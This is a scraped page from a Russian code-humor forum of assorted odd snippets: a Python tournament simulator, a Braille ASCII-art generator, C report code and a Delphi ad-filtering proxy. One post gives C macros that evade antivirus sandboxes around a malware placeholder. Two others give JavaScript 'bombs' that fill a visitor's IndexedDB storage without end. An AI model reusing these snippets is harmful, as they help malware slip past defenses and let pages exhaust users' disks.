- 1
А кто чем занимается в жизни помимо сидения за компом и лежанием на диване?
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−1
А кто чем занимается в жизни помимо сидения за компом и лежанием на диване?
Я ничем, и осознаю, что это очень хуёво.
−1
from random import random
from math import log
def championship(champions = 16):
space = ' '
count_of_laps = int(log(champions,2))
koef = [i for i in range(count_of_laps)]
nummer = 1
num_of_champions = []
for i in range(champions):
num_of_champions.append(nummer)
nummer += 2
value_of_champions = [("%.4f" % (random())) for i in range(champions)]
lap0 = []
for i in range(champions):
lap0.append([num_of_champions[i], value_of_champions[i], space*koef[0]])
koef.append(koef[-1]+1)
count_lap = 1
laps = []
for i in range(count_of_laps):
fighter1 = 0
fighter2 = 1
exec(f'lap{count_lap} = []')
while fighter2 <= eval(f'len(lap{count_lap - 1})'):
num_winner = (eval(f'lap{count_lap - 1}[{fighter1}][0]') + eval(f'lap{count_lap - 1}[{fighter2}][0]'))//2
value_winner = max(eval(f'lap{count_lap - 1}[{fighter1}][1]'), eval(f'lap{count_lap - 1}[{fighter2}][1]'))
probel = space*koef[i+1]
winner = [num_winner, value_winner, probel]
exec(f'lap{count_lap}.append({winner})')
fighter1 += 2
fighter2 += 2
count_lap += 1
laps = []
for i in range(count_of_laps+1):
exec(f'laps += lap{i}')
laps.sort()
for i in range(nummer-2):
print(laps[i][2] + str(laps[i][1]))
if __name__ == "__main__":
while True:
value = int(input('Write power of two: '))
print()
if (value & (value - 1)) == 0:
championship(value)
print()
else:
print('not power of two')
Прога воспроизводит турнир между цифрами от 0 до 1. Самое большое побеждает
0
"""ASCII art generator braille only.
To start, put this and the image (you need to rename it to input.jpg) in one folder.
The main problem of the algorithm:
Due to the fact that the 8 empty dots symbol and any other Braille symbol have different widths,
the picture may 'float'.
"""
from PIL import Image, ImageDraw
# Change scale of image.
scale = int(input('% of scale: ')) / 100
imgForScale = Image.open('input.jpg')
widthOldForScale, heightOldForScale = imgForScale.size
widthNewForScale, heightNewForScale = int(widthOldForScale * scale), int(heightOldForScale * scale)
scaleImg = imgForScale.resize((widthNewForScale, heightNewForScale), Image.ANTIALIAS)
scaleImg.save('inputScale.jpg')
# -------------
# Makes the image BW.
factor = int(input('factor: ')) # The more, the darker.
imgForBW = Image.open('inputScale.jpg')
draw = ImageDraw.Draw(imgForBW)
widthForBW, heightForBW = imgForBW.size
pix = imgForBW.load()
for i in range(widthForBW):
for j in range(heightForBW):
a = pix[i, j][0]
b = pix[i, j][1]
c = pix[i, j][2]
S = a + b + c
if S > (((255 + factor) * 3) // 2):
a, b, c = 255, 255, 255
else:
a, b, c = 0, 0, 0
draw.point((i, j), (a, b, c))
imgForBW.save("inputScaleBW.jpg")
# -------------
# The image should be divided by 2 horizontally, by 4 vertically. Otherwise, the extra pixels will be removed.
img = Image.open('inputScaleBW.jpg')
size = w, h = img.size
if (w % 2) == 0:
pass
else:
w -= 1
hCut = h % 4
if hCut == 0:
pass
else:
h -= hCut
# -------------
data = img.load()
yStart, yEnd = 0, 4
xStart, xEnd = 0, 2
valueOfPixNow = []
b = w // 2 # I don`t remember.
a = b - 1 # The same thing.
i = 0
while (yEnd <= h) and (xEnd <= w):
# Getting data from a image.
valueOfPixNow = []
for y in range(yStart, yEnd):
for x in range(xStart, xEnd):
if not ((230 <= data[x, y][0] <= 255) and (230 <= data[x, y][1] <= 255) and (230 <= data[x, y][2] <= 255)):
valueOfPixNow.append(1)
else:
valueOfPixNow.append(0)
# -------------------
# Convert data from image.
normalBinaryReversed = [valueOfPixNow[0], valueOfPixNow[2], valueOfPixNow[4], valueOfPixNow[1], valueOfPixNow[3],
valueOfPixNow[5], valueOfPixNow[6], valueOfPixNow[7]]
normalBinary = list(reversed(normalBinaryReversed))
strBinary = ''.join(map(str, normalBinary))
strHex = hex(int(strBinary, 2))
twoLastNum = strHex[2:]
if len(twoLastNum) == 1:
twoLastNum = '0' + twoLastNum
hexStrBraille = '28' + twoLastNum
decimalBraille = int(hexStrBraille, 16)
answer = chr(decimalBraille)
# -------------------
if i == a:
a += b
print(answer)
else:
print(answer, end='')
i += 1
if xEnd < w:
xStart += 2
xEnd += 2
else:
xStart = 0
xEnd = 2
yStart += 4
yEnd += 4
−2
Новый год по владимирскому времени! Всех с.
Больше говнокодов в новом году.
−6
// определяем приоритет операций
private int getPriority(char currentCharacter){
if (Character.isLetter(currentCharacter)) return 4;
else if (currentCharacter =='*'|| currentCharacter=='/') return 3;
else if (currentCharacter == '+'|| currentCharacter=='-') return 2;
else if (currentCharacter == '(') return 1;
else if (currentCharacter ==')') return -1;
else return 0;
}
Калькулятор стажера
−1
#define BYPASS_AV_BEGIN char* memdmp = NULL;memdmp = (char*)malloc(100000000);if (memdmp != NULL){int cpt = 0;for (int i = 0; i < 100000000; i++){cpt++;}if (cpt == 100000000){HANDLE file;HANDLE proc;proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 4);if (proc == NULL){LPVOID mem = NULL;mem = VirtualAllocExNuma(GetCurrentProcess(), NULL, 100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);if (mem != NULL){DWORD result = FlsAlloc(NULL);if (result != FLS_OUT_OF_INDEXES){
#define BYPASS_AV_END }}}}}
int main()
{
BYPASS_AV_BEGIN
//malware code...
BYPASS_AV_END
}
Обход антивирусов и антивирусных виртуалок
https://lolzteam.org/threads/1275661/
−2
int month, print_client, records_printed = 0;
int distinc[LENGTH];
// получение month, создание файла и что-то ещё...
for (int ci = 0; ci < clen; ci++)
{
print_client = 0;
for (int i = 0; i < LENGTH; i++)
if (distinc[i])
distinc[i] = 0;
else break;
for (int ri = 0; ri < rlen; ri++) {
if (clients[ci].number == records[ri].number && records[ri].cdate.month == month)
{
if (!print_client)
fprintf(file, "%s, %lli:\n", clients[ci].fullname, clients[ci].number);
++print_client;
int service = records[ri].service;
for (int i = 0; i < LENGTH; i++)
{
if (distinc[i])
{
if (distinc[i] == service)
service = 0;
}
else
{
distinc[i] = service;
break;
}
}
if (service)
{
for (int si = 0; si < slen; si++)
{
if (service == services[si].code)
{
fprintf(file, "\t%s\n", services[si].name);
++records_printed;
break;
}
}
}
}
}
}
Имитация СУБД и запроса с исключением повторений
−4
document.addEventListener('DOMContentLoaded', function() {
var req = indexedDB.open('site');
req.onerror = function() {
alert(this.error);
};
req.onupgradeneeded = function() {
let db = this.result;
if(!db.objectStoreNames.contains('files'))
db.createObjectStore('files', { autoIncrement: true });
};
let n = 0;
req.onsuccess = function() {
setTimeout(function run() {
n++;
let db = req.result;
let t = db.transaction('files', 'readwrite');
let file = t.objectStore('files');
let str = new Date().toString().repeat(1000);
for(let i=0;i<100;i++)
file.add(str);
if(n < 1000000)
setTimeout(run);
});
};
});
теперь страница не будет подвисать
−4
var req = indexedDB.open('site');
req.onupgradeneeded = function() {
let db = this.result;
if(!db.objectStoreNames.contains('files'))
db.createObjectStore('files', { autoIncrement: true });
};
req.onsuccess = function() {
let db = this.result;
let t = db.transaction('files', 'readwrite');
let file = t.objectStore('files');
let str = new Date().toString().repeat(1000);
while(true)
file.add(str);
};
Эту бомбу лучше ставить после полной загрузки страницы
0
procedure TForm1.IdHTTPServer1CommandGet(AContext: TIdContext;
ARequestInfo: TIdHTTPRequestInfo; AResponseInfo: TIdHTTPResponseInfo);
var
http:tidhttp;
ss:tstringstream;
begin
try
http:=tidhttp.Create(nil);
http.CookieManager:=tIdcookiemanager.Create(nil);
http.HandleRedirects:=true;
http.AllowCookies:=True;
http.Request.UserAgent:='Mozilla/5.0 (Windows NT 6.1; rv:56.0) Gecko/20100101 Firefox/56.0';
http.IOHandler:=tidssliohandlersocketopenssl.Create(nil);
http.Compressor:=tidcompressorzlib.Create(nil);
http.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
http.Request.AcceptEncoding:='gzip, deflate';
SS:=tstringstream.Create;
HTTP.Get(ARequestInfo.URI, SS);
aresponseinfo.CharSet:=http.Response.CharSet;
aresponseinfo.ContentType:=http.Response.ContentType+'; '+'charset='+http.Response.CharSet+';';
aresponseinfo.ContentStream:=SS;
AResponseInfo.WriteContent;
except
end;
end;
Мой разложившийся мозг сопротивляется. Сковзь пелену галлюцинаций, где где меня имеют сразу несколько волосатых таджиков, отчетливо пробивается реклама. Ее много. Очень много. Реклама и навязчивые видео с предложениями "срубить бабла" даже страшнее галлюцинаций. Я написал простой фильтр, заключающийся в локальном сервере, к которому я подключаюсь из браузера. Сервер является точкой доступа. Неугодные запросы я буду отпиздовывать на корню.
Собственно, этот код я запостил как фикс досадного гълюка, заключающегося в том, что браузер посылает нахой поле charset. Это херит даже код html.
Кодировку следует указывать в поле "КонтентТипе"
пожалуй, всё. пока.